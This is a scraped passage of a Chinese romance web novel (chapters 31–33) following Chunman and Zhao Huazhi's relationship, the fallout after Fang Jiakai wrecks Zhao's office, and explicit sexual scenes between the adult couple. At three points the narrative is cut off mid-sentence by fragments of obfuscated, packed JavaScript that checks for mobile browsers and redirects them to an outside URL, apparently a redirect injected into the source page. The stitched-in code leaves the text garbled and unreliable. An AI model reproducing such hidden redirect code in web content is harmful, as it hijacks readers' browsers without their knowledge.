“睡得跟小猪似的,你知道什么?”嘴上这么说,赵华致掂了掂怀里的人,却觉得她太瘦了。 春满抬了抬手臂,勾住他的脖子,习惯性地□□起他的耳朵,说:“赵华致,你做过的最过分的事是什么?” 赵华致抬脚勾出餐椅,把春满放下时,保持着这个姿势停顿了下:“你指哪方面?” “社交人情上。”春满勾着赵华致的手臂迟迟没有松开的征兆。 赵华致只是把他松开,手放在她腿上,矮身屈膝单腿虚跪着:“我想想。” 他思考的时候,视线一直在盯着她。春满可能是心虚,觉得自己正在被审视。他好像看透了她的心思一般。 春满不等他的回答,自顾潦草地把话题岔开,道:“口口声声说喜欢我,撬墙角都不敢,看来也没有很喜欢,是吗?” “我以为你那时候很开心。”赵华致的答案简单且真实。 春满嘴角的笑容一点点收敛,心口油然生出一种难言的酸涩。她开不开心有那么重要吗? 春满嘴角动了动,赵华致没给她说话的机会,好似是返回先前的话题,又好像没有:“我保证,不会那样对你。” 他说得隐晦,春满却听懂了,赵华致懂她。 春满手臂渐渐下移,双手捧着他的脸,说:“那你告诉我一个不为人知的秘密。如果你以后敢负我,我就把这件事闹大让你颜面扫地。” “我想想啊。”赵华致并不反驳,比方才还要积极地配合。 “要不我们拍些热吻照,只要我让你不开心了,你随便往外发。” 春满抬腿踢了踢他:“我说认真的呢。” “我也很认真。”赵华致往下拉了拉她卷上去的裙边,手指在她小腿上摩挲两下,“你让我想想,还有什么直击要害的把柄。” “你慢慢想吧,我要吃饭了。”春满身子扭开,面对着餐桌不再看他。 其实有没有把柄都不重要,春满无论如何也做不出不尊重人的事。 - 彼时,星恒科技内。 距离员工上班打卡时间已经过去良久。 房嘉恺破天荒地迟到,面对同事的关心,他敷衍地回应着。 不远处,几个爱八卦的女同事在聊赵华致拉小提琴的那个视频,说来也巧,视频最早发在互联网上是一周前,昨天突然在短视频平台上有超高热度,陆续被相熟的人传播开。 沈栀意正参与其中,期间注意到房嘉恺的状态,眼神疑惑而担忧地望过来。 没等她过来说句话,坐在工位上的房嘉恺一番机械而无意义的忙碌后,突然嚯一下情绪焦躁地从椅子里起身,好似遭终于下定什么决心般,只见他风风火火冲向赵华致的办公室。 沈栀意张了张嘴,想提醒赵总今天没来,便看到房嘉恺并没有敲门,径自推开门走了进去。 随着贴了防窥膜的玻璃门自动回弹合住,办公室内响起东西被砸到地板上的巨响。 “什么情况?” “发生了什么?” 同事们面面相觑,逐渐朝着那间办公室聚过去。 离办公室最近的工位是行政部的,部门总监第一时间去推门,才发现门被从里面反锁了。 房嘉恺是星恒的元老级员工,星恒被收购后,跟新老板的关系一直保持得很好。 但在职场中多待几年的人都明白,社交关系瞬息万变,就好像星恒的创始老板前一晚开开心心地宴请员工,呼吁大家共克时艰,团结一心,第二天便什么情分也不讲地把公司卖给了赫京,变现隐身。 能理解房嘉恺有自己的苦衷,但这种猛兽般不理智的发泄方式实属不体面。 门外的员工或是好奇或是疑惑,积极地张望里面的情况。 电脑盆栽办公椅文件盒,房嘉恺能砸的都砸了。 他环视一圈,把墙上挂着的那幅装饰画摘下来,猛地朝地上摔去。 玻璃碎裂,相框四分五裂。 外面的人终于找到备用钥匙开了门锁,一同而来的还有安保人员。 房嘉恺见办公室内没什么可砸的才扭头往外走,不小心踢到地板上的相框时,诧异地发现那张三趾滨鹬的装饰画里面,还封着一张照片。 房嘉恺一眼便认出,里面这张是春满那幅获奖的摄影作品,《神灵》。 房嘉恺定睛多看了几秒,突然自嘲地笑起来。 - 赵华致家里。 春满吃完早饭并没有离开,姜早早在补觉,她回去也是一个人待着。 她又一次看向猫爬架对面的玻璃展示柜内:“之前就想问,为什么我的摄影作品展示架中,有一幅这样的?” 赵华致看过来,说:“我拍的。” 春满不解地看他:“这句话说出来可能更像是夸奖。我觉得你闭着眼睛按快门拍出来的照片都比这一张有展示意义。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787396|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵华致来到展示架旁边,从其中拿出两个相框,一个是春满的摄影作品《神灵》,一个是赵华致拍的这幅。 “你仔细看看,发现了什么?” “除了都是三趾滨鹬外,还有什么……”春满声音突然顿住,视线落在鸟的脚环上,仔细对比了上面的编号,大为吃惊:“同一只?” 赵华致把相框放回去,说:“我发现时,跟你同样惊喜。” 这种编号是鸟类的身份证,便于学者们追踪研究,不会有重复的。 春满刚开始拍鸟时,也会特别关注这类带脚环的鸟类,通过专业性网站和论坛确认他们的飞行轨迹,仿佛自己跟着一起跋山涉水地翱翔了一番。 赵华致和她的心境自然是不一样的。 就像她领养了春满救治的猫,出发点都是爱屋及乌的喜欢。 春满重新拿起照片,又看了看才放回去,刚要说什么,手机铃声拽回了她的思绪。 她定睛看了看,不是自己的。 赵华致在厨房洗水果,她望过去,说:“你手机在响。” 赵华致的手机距离春满比较近,他没特意过来,直接问:“你帮我看一下来电显示。” 春满照做,看到谢开阳的名字:“是我哥。” 春满手摸到拐杖,准备给他送过去,赵华致先说:“你接。” 春满哦了声,短暂的犹豫后,按下接听键。没等说话,谢开阳的声音先出来:“你倒是坐得住,看来也没多在意啊。” 春满不知道他指的是什么,径自打断:“哥,是我。” 片刻的沉默后,谢开阳轻啧了声:“赵华致人呢?手断了,还是聋了。” “你等会儿,我叫他过来接。” 春满刚要扭头,脸侧擦过一只手,把手机抽了过去,紧接着春满手里多了一盘草莓。 “有事?”赵华致在春满旁边站了会儿,很快拿着手机走进书房。 他刚走,春满的手机也响了。 是房嘉恺的同事,之前在团建上认识的那位女主管,对方发来个画面摇晃混乱的视频。 从疑惑到震惊再到担忧,春满才明白发生了什么。 经过昨晚的事,房嘉恺怎么可能继续在赵华致手底下工作。 春满虽不知道房嘉恺具体的工作内容,但她知道房嘉恺只要愿意,肯定能带走一批骨干。 这对星恒的影响即便不足以致命,也不是一件小事。 春满咬着草莓,心里为这件因自己而起的无妄之灾感到抱歉。 春满盯着自己打了石膏的腿看了会儿,几颗草莓吃得没什么滋味。 不多时,门口传来声响,春满循声望去,看到赵华致的特助来送需要签字的文件。 赵华致估计是知道有人要来,门特意虚掩着。 对方进来后跟春满点点头,没等打招呼,春满指了指书房的方向:“在里面。” “谢谢。”特助道谢,过去敲开门。 特助临近饭点才离开,临走时祝春满早日康复。 春满回应时是笑着的,但赵华致觉得她似乎有些不开心。 目送特助离开,春满主动问起:“你和我哥私下里经常通电话吗?我以为你们关系不好。” “我也以为他会因为你变本加厉地针对我,但谁让我们有个共同的敌人呢?”赵华致点到为止,不打算多说。 春满以为他说的是商业上的事,自觉不方便深问,只道:“他不会公私不分。” 阿姨中午来做饭,按照营养餐的标准,结合她的口味,准备得很是丰盛。 “可以吃饭了。”阿姨摘了围裙洗过手,看向春满:“我扶你过来坐。” “我来吧。”赵华致先有动作。 春满以为他只是充当拐杖,手刚扶住赵华致的手臂,整个人被他打横抱起。 春满吓了一跳,余光注意到阿姨正笑眯眯盯着自己,有些不自在:“我自己可以走。” “怕你再摔了。”赵华致以为她习惯了,因此没打招呼,几步路把她放到餐椅上,然后抬着餐椅把她安置好,才直起身子坐到对面。 春满心虚地挽尊道:“昨晚是意外。” “你说是就是吧。”赵华致给她舀汤,嘴上虽然附和,但表情并不是这个意思。 春满说了句“敷衍”,闷头吃饭。 春满行动不便,因此手机不离手。 搁在手边的手机屏幕亮起,弹出姜早早的消息:“什么情况?” 春满还以为是她醒来发现自己没在家,刚准备回复。 殊不知姜早早人在客卧赖床中并没有发现,她既不想起床去客厅八卦,也不想扯着嗓子吼,便通过手机跟她联系:“听说房嘉恺把赵华致办公室砸了?” 春满当即搁下左手的勺子,问:“连你都知道了?” “我不是有个朋友的传媒公司跟星恒在同一个写字楼上吗,她跟我说的。事是传播得很快,但别人不知道原因,你别担心。” 春满敲屏幕的动作放慢,把昨晚的事说了。 “他早干嘛去了。”对话框上持续显示着“正在输入中”,春满猜她在吐槽房嘉恺。 不过很快,姜早早发过来一连串问号:“????你人呢????卧槽所有房间我都找过了你没在家还是我遇到鬼打墙了,天谢集团开发的这小区有毒吧。” “先吃饭。”赵华致见她眉头紧锁,完全走了神,出声提醒。 春满仿佛被纠正坏习惯的小孩子,慌忙应了声,被姜早早的脑回路逗得弯了弯嘴角,言简意赅地回复她“我在赵华致家”,才不情不愿地把手机放下,拿起碗筷。 把赵华致给自己夹的菜吃完,春满抬头,主动聊起:“房嘉恺的事会影响到你吗?” “什么事?”赵华致没料想她会这么快知道,在装傻。 对上春满望过来的眼神,赵华致坦白道:“你是指他带着手下的员工跳槽的事吗?可以应付。不用担心。” 又不告诉她。 春满低头戳了戳碗里的米饭,想追问会产生什么影响,该怎么应付,但转念一想,觉得这件事对赵华致而言可能真算不上什么。 春满突然觉得,赵华致如果想要瞒她什么事,那一定能瞒得很好。 可能真应了身边朋友们闲聊时说的形容———赵华致这样的人很难被看透。 32.第 32 章 32 春满脚上的石膏满四个周才拆,这期间姜早早只照顾了她一周,便被制片人的连环Call叫去跟组写剧本。 满郁连她骨折的事都不知道,通过几次电话春满都瞒着。 赵华致是唯一照顾她的人。 他表现得越细心和耐心,春满便越控制不住审视两人的差距,这种差距放大了赵华致之于她的陌生感,进而滋生出惶恐和不安。 这般矛盾的现象,让春满迟迟找不到机会和角度跟他开诚布公地聊聊这个话题。 直到那天,赵昭儿把粗剪的纪录片拿给春满看,两人去了春满学姐的餐厅吃午饭。 整顿饭很愉快,赵昭儿热情又不至于没有边界地释放着善意。 要离开时,学姐过来和春满打招呼,说起近来听说的事:“你最近跟你前男友家还有联系吗?” 春满觉得对方不像是八卦才提起,茫然地问:“怎么了?” “他妈妈生意上出了点问题,似乎挺严重的。之前我店面选址上遇到麻烦,不是多亏你找她的人脉帮了忙。我一直想还这个人情,碍于不清楚事情严重程度,不方便直接去问,想先找你帮忙打听一下,想看看有没有我能帮上的。” 春满对近期的风波全然不知,闻言,没急着应,只说:“那跟他家挺久没联系了。” 从餐厅出来,一直没吱声的赵昭儿冷不丁开口:“你最好别去打听,这次的事你学姐帮不上忙。” 春满诧异,偏头看去:“你知道?” “具体的我也不清楚,反正你别管。”赵昭儿说得含糊,看上去更像是知道内情却不想告诉她。 春满愈发好奇了。 在一番心理建设后,赵昭儿一不做二不休,索性说了,“你别管就是了,这是有人在给你和谢宴迟出气。当女孩子的黄谣是很好造的吗。” 被赵昭儿一提醒,春满想到致使她决定彻底和佟向琴划清界限的关键事件。 春满一向不喜欢亏欠,讲究恩仇守恒原则,她之所以不计较那次的事是因为佟向琴过去四年间对她的善待。 可谢宴迟那边便说不准了,他眼里揉不得沙子,被怼一句能回十句,被牵扯进来遭遇这场无妄之灾,肯定不会轻易地善罢甘休。 有人在替她和谢宴迟出气? 谁啊? 春满第一时间想到谢开阳。 春满知道谢开阳对自己纵容耐心,无底线地忍受她各种脾气,但对外实在不是一个好相处的人,早几年天谢集团大权旁落,谢开阳费了些心神才站稳脚跟。 他行事作风比赵华致更阴鸷狠绝。 - “你觉得这样做不好吗?”谢开阳听春满说明情况后,如是问到。 春满没去天谢集团找谢开阳,得知他在某个创业园有工作时,让他给自己留十分钟,自己等在周边的咖啡馆和他见了一面。 “我觉得没必要。”面对谢开阳,春满觉得自己不需要解释太多。 她不喜欢,不想,就是可以让他改变主意的理由。 但这次谢开阳没有满足她,笑了笑,道:“你去跟赵华致说。” 春满面露诧色。 这次的事是赵华致的手笔吗? 春满可以直截了当地来找谢开阳,却没办法要求赵华致做什么,尤其是在这件事上。 - 春满销假复工后,需要去赫京找江鎏推进那批VR设备的更新和维护的事宜。 下午,春满来到赫京大厦,到前台确认预约信息。 “江总现在在开会,可能要稍等一会儿。” 春满应了声“好”,犹豫要不要趁这个机会见一下赵华致,还是说下班后在家里说。 这时,先前去赵华致家送文件的特助经过,路过两步又退回来,看向春满,说:“来找赵总,我直接带你上去。” 春满心说先去见赵华致也可以,便在前台的疑惑中跟特助过了安检闸口。 办公室门外,春满先暗自过了一遍腹稿,才抬手敲门。 见来人是春满,赵华致眼色惊喜,“怎么突然过来了。” “有点事。”春满抿了抿唇,坐到赵华致对面的会客椅上。 赵华致好整以暇,停下手上的动作,等待她开口。 “我刚刚去见了我哥,才知道佟阿姨公司的事和你有关系。”春满还是决定开诚布公地直言,她说话时一瞬不瞬地观察着赵华致的反应,如果他表现出丝毫不开心,那自己……算了,无论如何都得说。 “能不为难吗?佟阿姨之前对我挺不错的。”春满咬了咬唇,头脑飞速运转,思索该如何补救。 前有房嘉恺把赵华致办公室砸了,并带着一批骨干人员跳槽。赵华致有点反击的手段合乎情理,更何况他的出发点是为了她。 春满如坐针毡,不知所措。 自打知道春满的来意,赵华致便没再说话。他捏着支钢笔在写一封信,手指修长,骨节清晰,他的字更是苍劲飘逸。 春满注视了会儿,回头看了眼确认门关着,起身绕过办公桌走到他旁边,扯了扯他的袖子:“赵华致,行不行啊。” 春满不经意扫见信纸上的内容,时值赫京周年庆,这封信是是写给集团员工的。 赵华致被晃得没能写下去,停下看她。说实话,瞒着她便是不希望她从中干涉。但如今她开口了,赵华致便没办法拒绝。 他理解,但难免不舒服:“答应你我能得到什么?” 利益置换,她都给不了,即便能给,赵华致也未必看得上。 那就只有打感情牌了。 只见春满非常果断地弯腰,凑近后在他嘴角处亲了一口。 这一个月以来,碍于春满腿上的石膏,两人虽没有什么过分的互动,但亲吻已经是屡见不鲜。 对于这个蜻蜓点水的嘴角吻,赵华致连眉头都没动一下,看上去还没有消气:“只有这样吗?看来也没有多希望。” 春满小声提醒:“这是在办公室。” “没人敢进来。”赵华致耐心地看着她,给足思考的时间。 春满一不做二不休,跨过他的左腿,手按在他的肩膀上把他轻轻往椅背上一推,膝盖压在椅子上,倾身过去。 赵华致嘴角一弯,眼神里是没想到她举动如此大胆和直接,也是对接下来情形的期待和引导。 赵华致领带被拽住,女朋友的脸放大数倍近在咫尺,没等这个吻落下来,他率先开口:“房嘉恺知道你为他家能做到这步吗?” “不亲算了。”春满视线盯在他唇上,吻落下去的前一秒,闻言,陡然起身。 赵华致手臂环在她腰上,把人按回来精准地吻住她的唇。 春满待会儿还要见人,想适可而止赵华致却不让了。她借口椅子承受不住两个人的重量,要起来,结果赵华致随之站起来,把春满抵在办公桌前。 春满手臂从桌面上扫过找支撑时,钢笔被不小心碰到骨碌碌滚到地上。 “钢笔。”春满唇边溢出不清晰的声音提醒。 赵华致完全不理,趁着喘息的时间,站直身子,关心道:“只是亲吗?” 春满靠坐在办公桌上,比他矮得多,仰脸望向他,报复性地咬了咬他的喉结。 赵华致嘶了声,托着她的腿把人抱上办公桌,蓄势待发。 这一个月来的朝夕相处,不是没出现擦枪走火的程度。 家里有阿姨照顾她的一日三餐,省了不少事。但洗澡这种私密的事,春满并不想麻烦阿姨,大多时候虽然不方便但都自己完成了。 只是有次,春满踩到地板上的积水,脚滑了下,险些又摔倒。 好在她及时扶住盥洗台,伴随着吃痛的低呼,台面上摆着的洗面奶洗手液等瓶瓶罐罐滴溜当啷倒了不少。 “怎么了?”赵华致在客厅玩手机,听到声音第一时间过来。 “没事,不小心滑了下。” 为了避免她真出什么事解决不及时,卫生间的门并没有被反锁。赵华致手压在门把上,先问了句:“可以进吗?” 春满只是脚滑,后怕,连扭伤都没有。她一路扶着到门口,把门拉开。 “我没事。” 赵华致上上下下打量她一番,放下心来:“抱你去卧室?” 春满摇头,说:“还没擦脸。” 赵华致扫了眼卫生间内,说:“我先帮你收拾一下地上。” 原本应该阿姨做的事,但今天阿姨碰巧没在。赵华致先把瓶身完好的捡走,确认只有一瓶护肤水摔碎了。 春满看了眼,心疼地感慨:“怎么碎的是这瓶……我刚开封。还不如让我直接摔地板上。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787397|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵华致一向不对她说重话,这次实在是忍不住了:“你是不是有病。” 春满递给他一个“你不懂”的眼神,继续肉疼。 他来来回回几趟,确认没有小玻璃渣,才把地板的水刮干,扶着春满回到镜子前。 她往常是站着,打石膏后,镜子前多了个带轮子的凳子,方便她行动。 春满护肤时,赵华致就站在旁边陪着,一会儿看看手机,一会儿拿起她台面上的瓶瓶罐罐看。 赫京旗下有化妆品生产线,但赵华致未必比春满精通。 护肤步骤简单,春满准备擦身体乳时,想把他赶出去。 “结束了?”注意到春满朝自己望过来,赵华致站直些,“过来,让我闻闻香不香。” 春满哪里还记得身体乳的事,抬手拍了下他伸过来的手,失笑道:“你哄小孩儿呢?” 赵华致反手握住她,稍一用力,凳子的万向轮骨碌碌的转动,把人拉到身边,凑近她的颈侧和脸颊嗅了嗅:“你如果真是小孩儿,那我现在就是在犯罪。” 春满眨眼,理解过这句话后,低头看了眼,不知什么时候帐篷已经支起来了。 春满抬手戳了戳,不负责任道:“那你还在这里站着。” “你说我为什么在这儿站着?”赵华致的鼻尖挺而硬,在她刚洗过热水澡又软又滑的皮肤上划过。 春满没抗拒,会心一笑,侧头跟他接了个又湿又热的吻。 结束时春满用气声,小声说:“继续站着吧。” 春满单脚抵在地上,扶着洗脸盆借了下力,便要坐着凳子逃走。 结果便是没跑成。 只觉一阵天旋地转,春满转回到赵华致面前。 “帮帮我。” 春满攥了攥拳头,眨眼:“我可以帮你喊加油。” 赵华致凝视着她,春满败下阵来,抬了抬自己的石膏腿,说:“等它拆了。” ………… “你还没答应我呢?”春满还记得来办公室找他的正事,要说法。 赵华致眼皮垂着,不太想回答,回道:“你答应我的还没作数呢。” 春满自然是记得的,但没想到要在这里。大概越不合适的环境,越刺激人,春满扪心自问,其实并不抗拒。 只是没等她回应,办公室外面依稀传来江鎏和助理说话的声音:“赵总在里面吗?” 得到助理的回复后,他叩响了办公室的门。 江鎏进赵华致办公室一向意思性地敲几下便直接推门进去。 赵华致知道他这个习惯,没给春满从自己怀里逃脱的机会,伸手一托把人抱起来。 数秒之间,江鎏推门进来时,只看到转着圈的电脑椅。 办公室内空无一人,江鎏面露疑惑,视线渐渐停在通往休息间的那扇门上。 一门之隔的休息间内。 春满贴着赵华致的胸膛惊魂甫定,她不知道江鎏有没有离开,话也不敢说,拍了拍赵华致让他把自己放下来。 说是休息间,实则很宽敞,淋浴间衣帽间双人床第各种生活用品一应俱全。 春满看了眼那张双人床,觉得在这里似乎也可以,但转念想到自己今天来赫京的根本原因,解释道:“我和江鎏约了谈工作。” “那你出去。”赵华致垂眼瞧她,如是说,神情却是“你敢出去吗”的挑衅。 春满擦了擦他嘴角蹭到的口红,说:“不想这么仓促,想——”说着她抠了抠赵华致的胸口,说,“久一点。” 赵华致捏了下她的腰,表示认可,适才放人。 春满借这里的卫生间补了妆,把赵华致推出去侦查情况。 等他三两句话把待在办公室里的江鎏赶走后,春满才出去。 “我走了。”春满把搁在椅子上的包拿走,对赵华致挥挥手,“记得你答应我的事。” 赵华致原意奉还:“你也是。” 一路小跑离开办公室,春满打算搭电梯到VR部,结果一进电梯间正碰见滞留在这里对着镜面墙壁拨弄头发的江鎏。 江鎏面露诧异:“咦,你在啊,我刚刚怎么没看到你?” 春满佯装不解,一两秒后,才回答:“我去卫生间了。正准备去找你。” 江鎏扫了眼春满后知后觉往身后藏的女士单肩包,明显是不信的。 33.第 33 章 32 春满打石膏这一个月,多亏赵华致照顾。她打算趁今天请他到家里吃顿饭,早早地去超市采购了食材,研究好了菜单。 遗传了满郁的烹饪天赋,春满的水平不差。但母女俩的脾性一脉相承,在做饭这件事上勤快时特别勤快,犯懒时就随便对付一下。主要也是因为两人兴趣点不在这上面,时间精力都消耗在其他事情上了。 备菜阶段,春满接到一通来自本地的陌生电话。 她不甚在意地接通,听对面的人表明来意,逐渐放下了手里待择的菜。 不足一分钟的通话,春满挂断后,继续择菜,但神色肉眼可见地愈发凝重,很快她放下了手上的青菜,把围裙摘了,挂到一旁。 她走到门口,刚拉开门,正看到赵华致手里拿着瓶酒从电梯出来。 他笑道:“特意来接我?我记得密码。” 春满神情微微松动,带着石膏期间,为了他出行方便,已经把密码共享了,也录入了指纹。 “我以为你要过会儿才回来。”春满喃喃道。 见春满手里拎着出门背的包,疑问地抬了抬眉:“有事要出去?” 春满含糊地嗯了声,把原因说了:“刚刚沈栀意给我打电话,说房嘉恺状态很差,希望我去劝劝他。” 赵华致脸上轻松的笑意一点点收走,变得严肃。 “你愿意陪我去吗?”春满想去跟房嘉恺说清楚,免得他再把火气都发泄到赵华致身上。 赵华致逐渐紧绷的神色复而舒展开,他把酒放下,答应。 - 房嘉恺此刻人在家里,前几天刚因为酗酒胃出血做过手术,今天又把自己关在房间里无休止地喝酒。佟向琴自顾不暇,房叔叔恨铁不成钢被气得吃了两次速效救心丸,沈栀意没办法才联系了春满。 赵华致把春满送到地方,一路上几乎没有交流。 停好车,赵华致偏头看着春满解开安全带,拿过她的手机定了个闹钟:“半小时,半小时后你没出来我就进去。” 春满松开安全带,上身探到主驾驶区,捧着他的脸浅尝辄止地啄了一下。 “我去了,忙完回家给你做好吃的。” 赵华致笑着目送她下车,直到他身影越行越远,笑容才敛走。 沈栀意得知春满到了,站在门口等她。 “麻烦你了,他现在把自己反锁在房间里了,谁叫都不开。”沈栀意言简意赅地和春满说明情况。 春满应着,没多问,跟随沈栀意往前走,进屋前,她朝隔壁幢的窗户看了眼,旁边是沈家的老宅,沈栀意卧室的窗户和房嘉恺的相邻,胆子大点的都可以从相隔不远的两道围栏跨过去。 “怎么了?”沈栀意见春满慢下脚步,回头询问。 春满摇摇头,说:“我上去看看。” 卧室的门板刚被敲响两声,里面人不知用什么哐当砸了下门,厉声叫嚣:“不要烦我!滚!” 春满手缓缓垂下,出声:“房嘉恺,是我。” 里面没有再度传来声响,正当春满怀疑是不是自己声音太小,里面人没听到准备多说几句时,卧室门被从里面拉开,穿着宽松睡衣脸色惨白的房嘉恺带着一身酒气出现在春满眼前。 房嘉恺没说一句话,把门拉开就折回房间内。 春满跟着进去,非但没有带上门,反而把门大开,确认地吸把门固定住。 随后她绕开躺在地上抱枕的红酒瓶朝他走去,停在大概半米的位置。 “你来做什么?”房嘉恺坐回昏暗处的单人沙发上,可能是觉得自己此刻形象太狼狈,没脸见人,低头不看春满。 “别喝了。”话音刚落,春满看着他故意较劲似的给自己倒了满满的一杯,然后视线越过杯沿上方盯着春满,一口一口地喝进胃里,那近乎挑衅的眼神仿佛在说“你以什么身份凭什么安排我”。 春满蹙眉,按下夺走酒瓶的冲动,渐渐地,她恢复成一副无动于衷的模样。 房嘉恺没得到想象中的关注,反倒停下了伤害自己的动作。 春满这时才开口:“我来是因为沈栀意主动联系我,她很担心你的情况。我不会劝你,只想说,过去四年的感情对我很重要,过去四年间的你也是。但我现在已经走出来了,希望你也可以。你的人生很长,重要的人很多,我在其中分量很轻。” 春满话说得不太好听,但似乎很有效。 房嘉恺手腕脱力,遭遇了此生最大的难题。他眼神失焦地盯着地板,自顾喃喃:“我又能做什么呢?” 春满没办法指引他,脚步微转,准备离开。 “不要走。”房嘉恺余光注意到,冲过来从背后抱她,却没意识到手里还拿着玻璃杯。 里面猩红色的酒浆不受控制地泼到春满的肩头。 春满垂下眼皮看了看,更像是在看他环住自己的手臂。 “放开吧,我帮不了你。” - 赵华致坐在车里,确认第三十分钟结束,才打开车门下去。 她穿过盎然的绿化带,拐向房家的别墅,刚走到台阶处,遥遥地看到春满出来。 “说完了?”赵华致抬手去接她。 春满反握住他的手,走下台阶,点了点头:“我们回家。” 他今天穿了条深色的裙子,夜色笼罩下,红酒的颜色不显,赵华致嗅到味道才发现。 仔细打量一番,确认她没有其他变化,才让人上车。 返程的路开得格外快,春满觉得只是靠在椅背上眯了会儿的功夫,车子已经开进了家里的地下车库。 “车头朝里停。”光线昏暗中,春满突然出声。 赵华致虽不解,但还是照做,等停好车才去问原因:“怎么了?” 春满解了安全带,很是疲惫地看向他,说:“抱我一会儿。” 赵华致把扶手箱上的杂物拿开,示意她过来。 轿厢内的照明灯熄了,只有仪表盘上几个按钮散发着微弱的光。 春满从副驾跨到主驾驶区,面对面坐在赵华致腿上,将脸埋进赵华致的胸膛。 赵华致拍了拍春满的后背,很快听到她低低的啜泣声。 赵华致给她留了几分钟调整情绪,半真半假的语气,玩笑道:“再哭下去我就要吃醋了,你都没因为我哭过。” 春满破涕为笑,直起上半身胡乱擦了擦两颊的泪:“这又不是什么好兆头,还攀比起来了。” 赵华致摸了摸她泛红的眼尾,心疼的眼神中带着几分柔软:“那不哭了。” 春满吸了吸鼻子,嗯了声,说:“都过去了。以后我不会再管了。” 情绪过去,春满的注意力专注在眼前的人身上,小幅度地往后挪了挪,后背抵到坚硬的方向盘。 赵华致伸手挡在她后背上,免得她不小心磕碰到。 孤男寡女,密闭空间。也分不清楚是谁主动的,很快传出密密匝匝的激吻声。 赵华致手臂收紧,把人重新揽回自己的胸膛。 春满双腿微分,跪在皮垫上,但身体的重心仍偏向他。 赵华致逐渐发现把车头朝里停的秒处,但这里毕竟是公共区域,保不准什么时候有住户进出。在一个本不该叫停的时间节点,他克制又不忍地打断,说:“先回家。” 春满被抱下去,整了整衣衫,两人面色如常地往电梯间走。 “去你家还是我家?”进到电梯后,赵华致如是问。 春满觉得这个问题十分耳熟,好似之前有过这样的对话。是什么时候的事来,春满记不得了。 “都可以。” 于是赵华致刷亮了八楼。 顾及到电梯里有摄像头,两人站得很安分。 一出电梯,春满便被赵华致压在了旁边的木柜上,赵华致凭印象摸索到门把手,指纹解锁,两人一路跌跌撞撞地进去。 春满身上被泼了酒,味道香醇诱人,但一想到这酒是怎么来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787398|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,春满便不想让它久留。 “我先去洗澡。” 赵华致拉着她的手不太想松,恋恋不舍地问:“五分钟够吗?” 春满点点头。 赵华致就像先前叮嘱她那般,说:“五分钟你不出来我就进去。” 春满弯了弯唇,应好,去之前,说:“需要借一件你的衬衣。” 赵华致眸色深了深,说:“自己拿。” 春满进到他的衣帽间,入眼一片整洁,视线依次划过皮鞋、腕表、袖扣、西装,最终落到衬衣区,很符合他刻板严谨的形象。 春满在一排没有品牌标识的衬衣中打量半晌,随即取了件。 赵华致靠在衣帽间门口,耐心又不耐心地看着她:“你可以再慢点。” 春满拿着衬衣折回去,走近他时,猝不及防地踮脚啄了他一下,然后没等赵华致反应,泥鳅似的一弯腰溜走了。 “不准偷看。” 赵华致家的淋浴间没有她的生活用品,春满只打算简单冲一下。 但大多数女生所谓的冲澡也并不简单,更何况春满在哗啦啦的水流声中想着此前发生的事,想着即将发生的事,悠悠地走着神。 时间很快到了。 门把手被压下,赵华致言出必行,卡着时间点径自进来。 春满松松垮垮地穿着他的衬衣,被他圈在盥洗台前面,手中擦头发的毛巾悄声地掉到地板上,吻精准地落下。 赵华致单手捧着她的颈侧,手指穿进她微潮的发丝间,嗓音低而哑:“五分钟到了。” 春满被抱上了盥洗台,手臂搭在他肩膀上,蹙眉抱怨:“凉。” 赵华致手摸了摸她和台面接触的皮肤,微诧:“怎么没穿?” “帮你省事不好吗?”春满纤细修长的两条腿缠在他腰上,把自己身体的重心放到他身上,赵华致顺势托着她抱离盥洗台,大步朝卧室走去。 春满被放到床上,接下来的形势有点出乎她意外。 “你干嘛?”春满拉住赵华致往下探头的动作。 赵华致:“答应你的。” 春满抿唇,手抓了抓黑色的床单,想到自己险些在淋浴间滑倒的那天 。 和他约定事情等拆了石膏后推进,但当前的困境并没有解决。 “那我现在呢?继续站着?”赵华致眼神无辜,贪婪地得寸进尺。 “最多用手。”春满无奈又纵容地叹气,妥协道。 “可以。” 春满答应是答应了,但坐着不方便用力,没一会儿便娇气地哼哼唧唧:“手腕都酸了。” 谁让她是病号呢,赵华致没为难她。 在她放手前,用自己的手包裹住她的手,牵引着她一起。 “饶了我吧……我生气了……赵华致!”春满声音时高时低,抑扬顿挫,猫爪似的挠着人, 最后十几秒,春满被迫提高速度。 结束时,有一些溅到春满脸上,她眼眶早就气红了,此刻别开脸,理都不想理他。 赵华致带她去洗手擦脸,她一言不发。 赵华致从她背后半抱着她,笑起来胸腔微微震动:“没想麻烦你的。” 春满从镜子里白了他一眼:“得了便宜卖乖。” 赵华致下巴抵着她的肩膀,咬耳朵:“下次我服务你,行吗?” ………… 赵华致此刻便在服务她。 